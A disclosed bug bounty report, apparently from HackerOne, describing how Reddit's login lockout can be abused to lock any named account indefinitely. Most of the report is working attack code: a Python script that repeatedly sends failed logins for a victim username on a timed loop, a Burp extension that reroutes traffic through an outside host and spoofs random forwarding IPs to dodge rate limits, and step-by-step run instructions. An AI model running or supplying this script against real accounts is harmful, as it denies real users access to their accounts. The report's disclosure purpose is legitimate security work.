Reddit · Report #1582778
Misconfigurated login page able to lock login action for any account without user interaction
Informativestatus
criticalseverity
19upvotes
6 Jun 2022disclosed
Summary
A punishment for every mistake, a reward for every kindness
How it was found
Summary
While observing a few things about the login feature, I found that the account was locked after a certain number of requests. Although this feature is actually added to prevent problems such as rate limit, it is open to account lock attacks by attackers.
PoC
- Save this code as
exploit.py:
#!/bin/python3
from requests import get, post
from sys import argv
from warnings import filterwarnings
from time import sleep
from concurrent.futures import ThreadPoolExecutor
filterwarnings("ignore")
def get_creds():
res = get("https://www.reddit.com/login/?experiment_d2x_2020ify_buttons=enabled&experiment_d2x_sso_login_link=enabled&experiment_d2x_google_sso_gis_parity=enabled&experiment_d2x_onboarding=enabled")
csrf_token = res.text.split('name="csrf_token" value="')[1].split('">')[0]
return res.cookies.get_dict(), csrf_token
def lock_account(account, cookie, csrf_token):
post("https://www.reddit.com/login", cookies=cookie, proxies={"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}, data={"csrf_token": csrf_token, "otp": '', "password": "asdasdasasdasd231321d", "dest": "https://www.reddit.com", "username": account}, headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://www.reddit.com", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Referer": "https://www.reddit.com/login/?experiment_d2x_2020ify_buttons=enabled&experiment_d2x_sso_login_link=enabled&experiment_d2x_google_sso_gis_parity=enabled&experiment_d2x_onboarding=enabled", "Connection": "close"}, verify=False)
cookie, csrf_token = get_creds()
for _ in range(14):
ThreadPoolExecutor(max_workers=15).submit(lock_account, str(argv[1]), cookie, csrf_token)
print("Account Locked!!")
sleep(60)
while True:
cookie, csrf_token = get_creds()
for _ in range(14):
ThreadPoolExecutor(max_workers=15).submit(lock_account, str(argv[1]), cookie, csrf_token)
sleep(60)
- Save this code as
helper.py:
from burp import IBurpExtender
from burp import IHttpListener
import random
import socket
import struct
HOST_FROM = "www.reddit.com"
HOST_TO = "ugroon.link"
class BurpExtender(IBurpExtender, IHttpListener):
def registerExtenderCallbacks(self, callbacks):
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Traffic redirector")
callbacks.registerHttpListener(self)
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
helpers = self._helpers
if not messageIsRequest:
return
httpService = messageInfo.getHttpService()
if (HOST_FROM == httpService.getHost()):
message = helpers.bytesToString(messageInfo.getRequest())
message = message.replace("Host: " + HOST_FROM, "Host: " + HOST_TO)
message_array = message.split("\n")
random_ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
message_array.insert(3, "X-My-X-Forwarded-For: " + random_ip)
message = "\n".join(message_array)
print(message)
message = helpers.stringToBytes(message)
messageInfo.setHttpService(self._helpers.buildHttpService(HOST_TO,httpService.getPort(),httpService.getProtocol()))
- Download jython 2.7.0 (http://search.maven.org/remotecontent?filepath=org/python/jython-standalone/2.7.0/jython-standalone-2.7.0.jar)
- Download a burp which is older than 2021 version (new versions giving too many errors)
- Set jython 2.7.0 with
Extender > Options > Python Environment > Location of Jython standalone JAR file > jython 2.7.0 location - Upload
helper.pyto extensions withExtender > Extensions > Burp Extensions > Add > helper.py location - If you use linux, use
chmod +x exploit.pyfor set permissions. But if you use windows, directly go to path and do next step - Run the exploit with
python3 exploit.py usernameofvictimand that's all. - And for check to exploit work or not, try to login victim account on another device or change IP address and use a different browser for 0 track and you will see it's impossible to login account.
PoC video
{F1746674}
#Suggested Solutions To avoid issues like rate limit, use protections like captcha instead of using such protection
Notes
- On the login screen it says the account has been locked for 5 minutes. However, the exploit restarts the attack every 5 minutes, so victim can "never" login into the victim account (added for avoid misunderstandings)
- If you have any questions or what you think is wrong with the report/impact, please mark it as needs more info before closing the report and let me answer your questions.
Cheers, @h1ugroon
Impact
Once the attacker starts the attack for the victim account, victim will never be able to login his/her account until the attacker stops the attack.